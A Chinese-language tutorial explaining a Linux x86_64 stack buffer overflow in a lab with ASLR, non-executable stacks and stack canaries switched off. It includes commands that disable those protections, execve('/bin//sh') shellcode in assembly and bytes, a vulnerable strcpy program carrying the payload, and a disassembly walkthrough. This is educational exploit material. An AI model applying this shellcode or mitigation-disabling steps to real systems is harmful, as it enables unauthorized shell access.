初識Linux棧溢出攻擊
0x00 限定條件
1、關閉aslr(Address Space Layout Randomization)
開啓aslr後,應用程序或動態鏈接庫裝載時,系統會隨機設定其裝載基址。這樣就避免了攻擊者事先預知特定函數的入口地址。ubuntu下的關閉命令爲echo 0 >/proc/sys/kernel/randomize_va_space
,該命令需要事先通過su提升到root權限。
2、關閉堆棧段不可執行機制
如果堆棧段被標記爲不可執行,那麼覆蓋程序棧的shellcode就無法執行。關閉堆棧段不可執行機制的gcc編譯命令爲-z execstack
。
3、關閉gs校驗機制
gs校驗機制的原理是,進入函數前向程序棧中壓入一個隨機數,函數返回後檢查這個隨機數,如果被改寫了,就報段錯誤,結束程序。關閉gs校驗機制的gcc編譯命令爲-fno-stack-protector
。
測試平臺爲Ubuntu 15.04 64位,測試代碼如下
#include<stdio.h>
#include<string.h>
char s[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x48\x31\xc0\x48\x83\xc0\x3b\x48\x31\xff\x57\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x8d\x3c\x24\x48\x31\xf6\x48\x31\xd2\x0f\x05\x90\x90\x90\x90\x90\x90\x90\x90\x10\xdb\xff\xff\xff\x7f";
int main()
{
char t[48];
strcpy(t,s);
return 0;
}
編譯命令gcc -fno-stack-protector -z execstack -g -o stackTest stackTest.c
0x01 shellcode
;shellcode.asm
BITS 64
; run execve("/bin//sh", NULL, NULL) Linux x86_64 Shellcode
; Shellcode size 34 bytes
global _start
section .text
_start:
xor rax,rax ;clear rax
add rax,0x3b ;syscall_64.tbl ==> 59 64 execve stub_execve
xor rdi,rdi ;clear rdi
push rdi ;push stack (rsp -= 8)
mov rdi,0x68732f2f6e69622f ;hs//nib/ ==> /bin//sh
push rdi ;push stack (rsp -= 8)
lea rdi,[rsp] ;rdi = rsp (%rdi,%rsi,%rdx,%rcx,%r8,%r9 用作函數參數,依次對應第1參數,第2參數)
xor rsi,rsi ;clear rsi
xor rdx,rdx ;clear rdx
syscall
shellcode是一段二進制機器碼,以完成特定的任務,比如要彈出shell,在c語言裏就是execve(“/bin//sh”, NULL, NULL)就可以了,execve的調用過程用匯編寫就是shellcode.asm中的內容[1]
編譯shellcode.asm命令nasm -f elf64 shellcode.asm
可以使用腳本提取機器碼for i in $(objdump -d shellcode.o | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo
0x02 程序運行棧
gcc把原文件編譯爲ELF格式的可執行文件,此時ELF文件存儲在磁盤上。爲了運行這個程序,需要通過系統自帶的loader把ELF文件加載到內存中,建立程序運行棧。使用objdump -d stackTest
可以查看ELF文件的反彙編代碼,整個程序的入口是.text段的_start函數,該函數通過動態鏈接的方式調用運行庫函數__libc_start_main
。__libc_start_main
主要負責三部分工作[2]:(1)程序初始化和加載(調用__libc_csu_init);(2)運行main函數(調用main);(3)main函數結束後進行清理(調用__GI_exit)。
程序運行棧的結構如下圖所示,其中在main函數棧幀上面並緊挨着main函數棧幀的是之前壓入棧中的eip寄存器的值,該值指向__libc_start_main
函數中的一條語句,目的是在main函數運行完成後跳轉回__libc_start_main
進行清理工作(調用__GI_exit),這個值就是我們要覆蓋並操縱的值。下一節我們以main函數棧幀和在棧中緊挨着它的eip寄存器的值爲研究對象,觀察main函數運行過程中它們的變化,來弄明白棧溢出攻擊是如何實現的。
0x03 程序運行過程分解
int main()
{
400536: 55 push %rbp
400537: 48 89 e5 mov %rsp,%rbp
40053a: 48 83 ec 30 sub $0x30,%rsp
char t[48];
strcpy(t,s);
40053e: 48 8d 45 d0 lea -0x30(%rbp),%rax
400542: be 60 10 60 00 mov $0x601060,%esi
400547: 48 89 c7 mov %rax,%rdi
40054a: e8 c1 fe ff ff callq 400410 <strcpy@plt>
return 0;
40054f: b8 00 00 00 00 mov $0x0,%eax
}
400554: c9 leaveq
400555: c3 retq
400556: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1)
40055d: 00 00 00
1、40053a: sub $0x30,%rsp
執行完成後main函數棧幀的狀態:
2、strcpy拷貝過程,先是正常拷貝,然後是溢出覆蓋
3、溢出完成後,程序繼續向下執行直到
400555: retq
,這條語句執行之前,棧的結構如下圖所示,rsp已經改變了位置。retq指令將棧頂元素也就是\x10\xdb\xff\xff\xff\x7f彈出到寄存器rip中,這樣,下一步要執行的語句的位置就被修改成了0x7fffffffdb10,經過幾個\0x90代表的nop指令,就能順利執行構造的shellcode了。 試驗結果如下圖所示:
[1]http://blog.csdn.net/shuimuyq/article/details/50523014
[2]http://dbp-consulting.com/tutorials/debugging/linuxProgramStartup.html